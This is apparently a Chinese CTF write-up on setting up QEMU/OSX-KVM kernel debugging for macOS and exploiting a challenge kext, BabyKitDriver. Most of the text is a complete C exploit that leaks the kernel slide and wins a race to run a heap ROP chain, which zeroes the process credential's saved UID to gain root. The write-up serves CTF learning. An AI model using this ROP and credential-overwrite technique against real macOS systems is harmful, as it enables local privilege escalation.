0.写在前面
本篇重点内容为记录qemu的macos调试方法。
1.安装调试环境
-
首先是安装macos环境
-
我们使用OSX-KVM作为 macOS环境,如果是VMware的虚拟机作为宿主机,则需要宿主机虚拟机设置中开启虚拟化引擎,并且为虚拟机分配足够的硬盘空间。
-
前面部分遵照文档安装,在运行
fetch-macOS-v2.py
过程中,我们选择Ventura
选项。但是,Ventura
此处获取的版本与本题中使用的版本不同。稍后我们需要执行额外的步骤。 -
创建好HDD虚拟映像后,我们不直接运行
OpenCore-Boot.sh
脚本,我们进入run_offline进行离线安装题目对应版本13.6.1
。 -
在安装过程中我们进入
Disk Utility
,执行run_offline.sh
之前我们看看它的内容,其中有如下语句... cd /Volumes/macOS mkdir -p private/tmp cp -R "/Install macOS Ventura.app" private/tmp ...
所以我们需要找到正确的分区,将分区命名为macOS,之后我们再执行
sh /Volumes/InstallAssistant/run_offline.sh
。另外使用APFS
文件系统,尽管文档中提到不建议使用APFS
。 -
剩下就是等待安装的结束。
-
-
进一步完善环境
- 如果你不想被飘逸的鼠标气死的话,建议还是开启远程登录,我们可以通过宿主机的
2222
端口来登录到macos,并且通过scp
来传递文件。 - 在终端中输入
gcc
来安装一系列系统工具,这样我们就可以在该环境中直接编译我们的代码了,
编译命令:gcc exp.c -o exp -framework IOKit
。 - 接下来我们将题目文件传入环境中,并执行
sudo kextload BabyKitDriver.kext
,第一次执行时需要在系统设置中允许安装模块,之后每次环境crash,我们都需要再次执行该命令。 - 我们将
/System/Library/Kernels/kernel
内核文件拷贝出来方便调试。 - 我们在
./OpenCore-Boot.sh
文件末尾加入-s
来开启qemu的内核调试。
- 如果你不想被飘逸的鼠标气死的话,建议还是开启远程登录,我们可以通过宿主机的
-
最后是调试环境
- 我使用的宿主机是
Ubuntu22.04
,所以系统安装的gdb执行file kernel
时会报错无法识别文件类型,此处给出两种方案:
①安装linuxbrew
,通过brew
命令来安装gdb进行调试,这个方法出现的问题是root用户无法安装对应gdb,而非root权限调试这种内核时或多或少会出现一点问题,不过可以将gdb文件目录加入root环境变量中。另外值得一提的是,此方法可能安装时会有很多文件下载不下来,自行解决吧(。
②自行编译gdb,这里有简单提到如何完成。 - 万事俱备,开始愉快的调试吧!
- 我使用的宿主机是
2.如何调试
-
上来就尬住了,不是很了解macos是否也有像Linux的kernel一样有
kaslr
的参数,万幸的是,我们在每次target remote :1234
时,内核都会准确的断在_machine_idle
的cli
指令处,我们可以借此算出内核代码段的基址。输入add-symbol-file ./kernel 0x...
后,就可以在函数上断点了。
-
另外值得一提的是我们安装的题目模块偏移与内核代码段的偏移大致相同!我们可以键入
kextstat -b keen.BabyKitDriver
来获取题目模块未加偏移时的基址,算出内核代码段的偏移后,将偏移值的末尾5个十六进制数都化为零就是题目模块的偏移!
3.分析
1.泄露
2.rop
函数指针可以通过条件竞争发生错误的调用,合理使用gadget即可实现堆上rop。
__int64 __fastcall BabyKitDriverUserClient::baby_leaveMessage(
OSObject *target,
void *reference,
IOExternalMethodArguments *args)
{
signed __int64 v4; // [rsp+0h] [rbp-80h]
unsigned int v5; // [rsp+Ch] [rbp-74h]
uint64_t v6; // [rsp+10h] [rbp-70h]
__int64 v7; // [rsp+18h] [rbp-68h]
v7 = ((__int64 (__fastcall *)(OSObject *))target->__vftable[5]._RESERVEDOSObject14)(target);
v6 = *args->scalarInput;
IOLog("BabyKitDriverUserClient::baby_leaveMessage\n");
if ( !*(_QWORD *)(v7 + 0x90) )
{
*(_QWORD *)(v7 + 0x90) = IOMalloc(0x300uLL);
if ( v6 )
*(_QWORD *)(*(_QWORD *)(v7 + 0x90) + 8LL) = output2;
else
**(_QWORD **)(v7 + 0x90) = output1;
}
if ( v6 )
{
*(_QWORD *)(*(_QWORD *)(v7 + 0x90) + 8LL) = output2;
v4 = *((_QWORD *)args->scalarInput + 2);
if ( v4 > 0x200LL )
v4 = 0x200LL;
**(_QWORD **)(v7 + 0x90) = v4;
v5 = copyin(*((_QWORD *)args->scalarInput + 1), (void *)(*(_QWORD *)(v7 + 0x90) + 0x10LL), v4);// 2nd arg
}
else
{
**(_QWORD **)(v7 + 0x90) = output1;
v5 = copyin(*((_QWORD *)args->scalarInput + 1), (void *)(*(_QWORD *)(v7 + 0x90) + 8LL), 0x100uLL);// 2nd arg
}
*(_QWORD *)(v7 + 0x98) = v6;
return v5;
}
__int64 __fastcall output1(char *a1, char *a2)
{
return __memcpy_chk(a1, a2, 0x100LL, -1LL);
}
__int64 __fastcall output2(char *a1, char *a2, __int64 a3)
{
return __memcpy_chk(a1, a2, a3, -1LL);
}
4.exp
最后还是提供一下我本地环境的exp,虽然是抄的(。
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <sched.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <mach/mach.h>
#define kBabyRead 0
#define kLeaveMessage 1
#define kIOKitClassName "BabyKitDriver"
#define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL
uint64_t kbase, slide;
io_connect_t connection;
char ropChain[0x200];
int loop_end = 100000;
#define push_rcx_jmp_qword_ptr_rsi_plus_0x66 slide + 0xffffff8000a984a1 // push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66]
#define pop_rcx slide + 0xffffff800034fb88
#define mov_rdi_rax_pop_rbp_jmp_rcx slide + 0xffffff8000364001
#define ret slide + 0xffffff8000335311
#define pop_r14_r15 slide + 0xffffff8000352176
#define pop_rsp_r13_r14_r15 slide + 0xffffff8000352173
#define mov_qword_rcx_rax_pop_rbp slide + 0xffffff800037a86e // mov qword ptr [rcx], rax ; pop rbp ; ret
#define mov_rsi_rax_spoil_rax_pop_rbp_ret 0xffffff80005363b2 + slide // mov rsi, rax ; sub rax, rsi ; pop rbp ; ret
#define pop_rdi 0xFFFFFF8000334E74 + slide
#define pop_rdx 0xffffff80006ff614 + slide
#define pop_r8_eax_spoil 0xffffff80004db641 + slide // pop r8 ; add eax, 0x5d000000 ; ret
#define add_rsi_rcx_mov_rax_rsi_pop_rbp 0xffffff80009ce21d + slide // 0xffffff80009ce21d : add rsi, rcx ; mov rax, rsi ; pop rbp ; ret
#define mov_dword_ptr_rsi_r8d_pop_rbp 0xffffff8000474e28 + slide // 0xffffff8000474e28 : mov dword ptr [rsi], r8d ; pop rbp ; ret
// Existing kernel functions
#define current_thread slide + 0xFFFFFF80004D1EF0
#define current_proc slide + 0xFFFFFF8000989820
#define proc_ucred slide + 0xFFFFFF8000855670
#define pmap_ro_zone_atomic_op slide + 0xFFFFFF80004B0430
#define thread_exception_return slide + 0xFFFFFF8000334DCA
// Helper method during debugging
void print_data(char *buf, size_t len)
{
puts("-----");
for (int i = 0; i < len; i += 8)
{
char *fmt_str;
if ((i / 8) % 2 == 0)
{
fmt_str = "0x%04x: 0x%016lx";
printf(fmt_str, i, *(unsigned long *)&buf[i]);
}
else
{
fmt_str = " 0x%016lx\n";
printf(fmt_str, *(unsigned long *)&buf[i]);
}
}
puts("-----");
}
uint64_t GetKextAddr()
{
FILE *fp;
char line[4096];
fp = popen("kextstat 2>/dev/null | grep BabyKitDriver | awk '{print $3}'", "r");
if (fp == NULL)
{
printf("Failed to get KEXT address!\n");
exit(-1);
}
fgets(line, sizeof(line) - 1, fp);
uint64_t addr = (uint64_t)strtoul(line, NULL, 16);
fclose(fp);
return addr;
}
void baby_read(void *buf, unsigned long size)
{
unsigned long args[2] = {(unsigned long)buf, size};
IOConnectCallScalarMethod(connection, kBabyRead, (const uint64_t *)args, 2, 0, 0);
}
void leave_message(unsigned long msg_type, void *buf, unsigned long size)
{
unsigned long args[3] = {msg_type, (unsigned long)buf, size};
IOConnectCallScalarMethod(connection, kLeaveMessage, (const uint64_t *)args, 3, 0, 0);
}
void babyKitConnect(io_connect_t *connection)
{
kern_return_t kr;
io_service_t serviceObject;
io_iterator_t iterator;
CFDictionaryRef classToMatch;
classToMatch = IOServiceMatching(kIOKitClassName);
if (classToMatch == NULL)
{
printf("IOServiceMatching returned a NULL dictionary\n");
exit(-1);
}
serviceObject = IOServiceGetMatchingService(kIOMainPortDefault, classToMatch);
if (!MACH_PORT_VALID(serviceObject))
{
printf("IOServiceGetMatchingService failed\n");
exit(-1);
}
kr = IOServiceOpen(serviceObject, mach_task_self(), 0, connection);
IOObjectRelease(serviceObject);
if (kr != KERN_SUCCESS)
{
printf("IOServiceOpen returned %d\n", kr);
exit(-1);
}
}
void *race()
{
for (int i = 0; i < loop_end; i++)
{
leave_message(0, ropChain, 0x100);
}
return NULL;
}
int main()
{
/*
Without fork, when we return from the kernel to userland, it will killed
the process. We need to fork() first in the beginning, so that parent and child
have shared cred.
- Child process will do the exploit, which will overwrite the cr_svuid to 0 (which will be killed).
- Parent process will sleep first, waiting until the child process overwrite the shared cred struct svuid to 0,
then do seteuid(0), setuid(0), setgid(0) so that it will become root.
*/
if (fork() == 0)
{
/*
Setup connection
*/
babyKitConnect(&connection);
/*
Get leak with the first bug (setting size to 0 will trigger OOB read)
*/
char buf[0x1000];
memset(buf, 0x41, sizeof(buf));
leave_message(1, buf, 0x200);
memset(buf, 0x0, sizeof(buf));
baby_read(buf, 0);
uint64_t leaked = *(unsigned long *)&buf[0x318];
uint64_t kext_base = leaked - 0x1808;
slide = kext_base - GetKextAddr() + 0xdc000;
kbase = KERNEL_BASE_NO_SLID + slide;
printf("[*] Kext Base : 0x%llx\n", kext_base);
printf("[*] Kernel Text Base: 0x%llx\n", kbase);
printf("[*] Kernel Slide : 0x%llx\n", slide);
// getchar();
/*
Build our ROP Chain
*/
uint64_t *chain;
chain = (uint64_t *)&ropChain[0x0];
// Start at chunk+0x8 in driver. When the race is triggered,
// chunk+0x8 will be called, which will pivot the stack to this
// chunk and do ROP Chain.
*chain++ = push_rcx_jmp_qword_ptr_rsi_plus_0x66; // rsi+0x66 will contains gadget to pivot stack to this heap chunk
*chain++ = 0x0; // chunk+0x10 won't be used
// Our ROP will start here after stack pivot with pop rsp; pop r13; pop r14; pop r15;
// , where popped rsp value will be chunk+0x0, so the ROP chain will start at chunk+0x18
//
// We will try to perform
// pmap_ro_zone_atomic_op(ZONE_ID_KAUTH_CRED, proc_ucred(current_proc()), 0x20, ZRO_ATOMIC_AND_32, 0);
// , which will update the cred->cr_svuid
*chain++ = current_proc;
*chain++ = pop_rcx;
*chain++ = proc_ucred;
*chain++ = mov_rdi_rax_pop_rbp_jmp_rcx;
*chain++ = 0x4141414141414141;
// We will continue the ROP Chain at 0x80 just for convenience
*chain++ = ret;
*chain++ = ret;
*chain++ = ret;
*chain++ = ret;
*chain++ = ret;
// Need to do this because:
// - rsi points to chunk+0x10
// - there will be jmp qword ptr [rsi+0x66], which mean we need to put
// gadget in chunk+0x76
// So what we do here is we reserve 0x10 bytes starting from chunk+0x70
*chain++ = pop_r14_r15;
*chain++ = 0x4141414141414141;
*chain++ = 0x4141414141414141;
// Overwrite chunk+0x76 to pivot stack gadget
uint64_t *chunk_0x76 = (uint64_t *)&ropChain[0x76 - 8];
*chunk_0x76 = pop_rsp_r13_r14_r15;
// Continue ROPChain
// // Debugging purposes
// *chain++ = pop_rcx;
// *chain++ = addr_save_loc;
// *chain++ = mov_qword_rcx_rax_pop_rbp;
// *chain++ = 0x4141414141414141;
// rax still contains the ucred (returned from proc_ucred)
// Set rsi to ucred
*chain++ = mov_rsi_rax_spoil_rax_pop_rbp_ret;
*chain++ = 0x4141414141414141;
// Set rdi
*chain++ = pop_rdi;
*chain++ = 7; // ZONE_ID_KAUTH_CRED
// Set rdx
*chain++ = pop_rdx;
*chain++ = 0x20;
// Set rcx
*chain++ = pop_rcx;
*chain++ = 0x34; // ZRO_ATOMIC_AND_32
// Set r8
*chain++ = pop_r8_eax_spoil;
*chain++ = 0;
// Call pmap_ro_zone_atomic_op
*chain++ = pmap_ro_zone_atomic_op;
// // Debugging purposes
// *chain++ = eb_fe;
// Now, during working on this challenge, we found out that we
// couldn't return to userland because there is panic due to rwlock_count is 1.
// We will overwrite it to 0 before return to userland.
*chain++ = current_thread;
*chain++ = mov_rsi_rax_spoil_rax_pop_rbp_ret;
*chain++ = 0x4141414141414141;
*chain++ = pop_rcx;
*chain++ = 0x44C; // offset for rwlock_count
// Points rsi to rwlock_count
*chain++ = add_rsi_rcx_mov_rax_rsi_pop_rbp;
*chain++ = 0x4141414141414141;
*chain++ = pop_r8_eax_spoil;
*chain++ = 0;
// Overwrite rwlock_count to 0
*chain++ = mov_dword_ptr_rsi_r8d_pop_rbp;
*chain++ = 0x4141414141414141;
// Return to userland
*chain++ = thread_exception_return;
// Store ROPChain in heap chunk
leave_message(1, &ropChain[0x8], 0x200);
/*
Trigger Race Condition:
- Create a new thread which will call leave_message(0, ropChain, 0x100);
- In the mainthread, keep calling leave_message(1, ropChain+0x8, 0x200);
- Race is success if:
- chunk+0x98 is set to 1
- yet, the chunk+0x8 is not output2, but the gadget that we write via leave_message(0) in the other thread
*/
pthread_t th;
pthread_create(&th, NULL, race, NULL);
char test[0x100];
memset(test, 0, sizeof(test));
for (int i = 0; i < loop_end; i++)
{
leave_message(1, &ropChain[0x8], 0x200);
// Race will be triggered in baby_read
// If it is triggered, the shared cred between this child process and parent process
// will have svuid set to 0, and the parent can become a root.
baby_read(test, 0x100);
}
puts("Out...");
sleep(100000);
return 0;
}
else
{
// Parent process, will sleep first to wait the child overwriting the shared cred
sleep(2);
puts("Sleep...");
sleep(2);
char buf[0x100];
memset(buf, 0, sizeof(buf));
while (1)
{
// setuid and cat /flag
seteuid(0);
setuid(0);
setgid(0);
if (getuid() == 0)
{
printf("WIN\n");
system("cat flag");
break;
}
}
puts("Here...");
}
return 0;
}
5.参考
Comments | NOTHING